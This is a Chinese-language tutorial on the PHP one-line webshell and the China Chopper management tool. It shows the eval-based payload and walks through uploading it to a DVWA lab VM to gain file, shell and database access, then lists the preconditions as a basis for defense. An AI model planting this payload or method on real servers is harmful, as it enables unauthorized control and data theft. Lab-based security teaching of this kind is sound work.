一句話木馬是Webshell的一種,那什么是Webshell?先講講什么是shell。Shell是系統的用戶界面,提供了用戶與內核進行交互操作的一種接口。它接收用戶輸入的命令并把它送入內核去執行。因為系統內核是我們不能直接操作的,shell就給我們提供了一個接口,通過shell我們可以把命令送入到內核。shell管理用戶與操作系統之間的交互,等待你輸入,向操作系統解釋你的輸入,并且處理各種各樣的操作系統的輸出結果。

php一句話木馬
網絡安全行業有一句非常有名的諺語:“一個不想獲得目標站點Webshell的黑客不是一個好的黑客”,可見Webshell對一個黑客的吸引是多么的強烈, 黑客在入侵了一個網站后,通常會留下一個asp或php后門文件與網站web服務器進行交互,得到一個命令執行環境,以達到控制網站服務器的目的。這個后門文件就是所謂的webshell。
一句話木馬
一句話木馬作為Webshell的一種,由于這類Webshell代碼比較少,往往只有一行代碼,所以就被稱為一句話木馬。一句話木馬雖然代碼簡單,但是結合中國菜刀等Webshell管理工具,它們的功能卻是非常的強大。
一句話木馬舉例
下面就是一個簡單的PHP語言一句話木馬:
<?php eval($_POST['cmd']);?>
eval函數
把字符串按照 PHP 代碼來計算,該字符串必須是合法的 PHP 代碼,且必須以分號結尾。
$_POST
PHP 超全局變量 ,$_POST 用于收集表單數據(form-data)。一句話木馬會把我們通過POST方式提交的符合php代碼規范的字符串當做php代碼執行。
中國菜刀
這里的中國菜刀不是指切菜做飯的工具,而是中國安全圈內使用非常廣泛的一款Webshell管理工具,中國菜刀用途十分廣泛,支持多種語言,小巧實用,中國菜刀有三個主要功能。
文件管理
可以訪問站點所在服務器里邊存儲的文件,甚至可以刪除、上傳、下載里邊的文件。

文件管理
虛擬終端
可以在以下命令框中執行命令,獲取服務器相關信息。

虛擬終端
數據庫管理
如果服務器上安裝有數據庫可以通過SQL語句查詢數據庫里邊的數據。

數據庫管理
下面我就演示一下如何利用一句話木馬和中國菜刀來獲取目標站點Webshell,首先是測試環境我們使用DVWA,我們這次選擇使用虛擬機中的OWASPBWA的DVWA,打開虛擬機中的OWASPBWA運行到如下圖所示:

OWASPBWA
注意圖中紅框中的信息,一是:http://192.168.199.131,二是:username=root,password=owaspbwa,根據提示輸入用戶名root,密碼owaspbwa,進入OWASPBWA虛擬機中,打開主機瀏覽器輸入網址http://192.168.199.131,進入OWASPBWA主界面,點擊圖中下方紅框中的鏈接,如下圖所示:

OWASPBWA主界面
進入到DVWA登錄界面,輸入username=admin,password=admin,進入DVWA,如下圖所示:

DVWA登錄界面
登錄DVWA后,點擊左側“upload”-瀏覽選擇文件-點擊“upload”按鈕-提示“../../hackable/uploads/123.php succesfully uploaded!”表示上傳成功,如下圖所示,注意下圖左下角“Security Level: low”,否則上傳不會成功。

上傳123.php一句話木馬
然后打開中國菜刀,在空白處右鍵選擇“添加”,出現添加SHELL窗口,在地址欄填入http://192.168.199.131/dvwa/hackable/uploads/123.php,后邊小輸入欄填入“cmd”,就是一句話木馬中<?php eval($_POST['cmd']);?>中的POST參數,腳本類型選擇PHP(Eval),字符編碼為GB2312,點擊添加。

添加shell
雙擊添加好的shell就可以訪問目標主機OWASPBWA中的文件,你可以刪除、編輯及下載里邊的文件,甚至可以上傳“大馬”到目標主機,獲得更多的權限,如下圖所示:

訪問目標主機文件
從以上的利用過程我們可以看出,使用中國菜刀通過一句話木馬獲取目標主機管理權限,需要三個必要條件,一是必須把一句話木馬上傳到目標主機,二是必須知道上傳路徑,三是上傳路徑有可執行權限,三者缺一不可,我們可以根據這三個必要條件制定如何防范類似攻擊的方案。
以上就是今天介紹的一句話木馬及中國菜刀,以及如何利用一句話木馬和中國菜刀獲取目標主機的管理權限,但是現在的網站服務器在上傳過程中大部分都過濾了一句話木馬,使得一句話木馬無法輕易上傳到目標服務器,接下來我會分享一些一句話木馬的變形,感興趣的可以加個關注@科技興了解更多科技,尤其是網絡安全方面的知識和咨詢。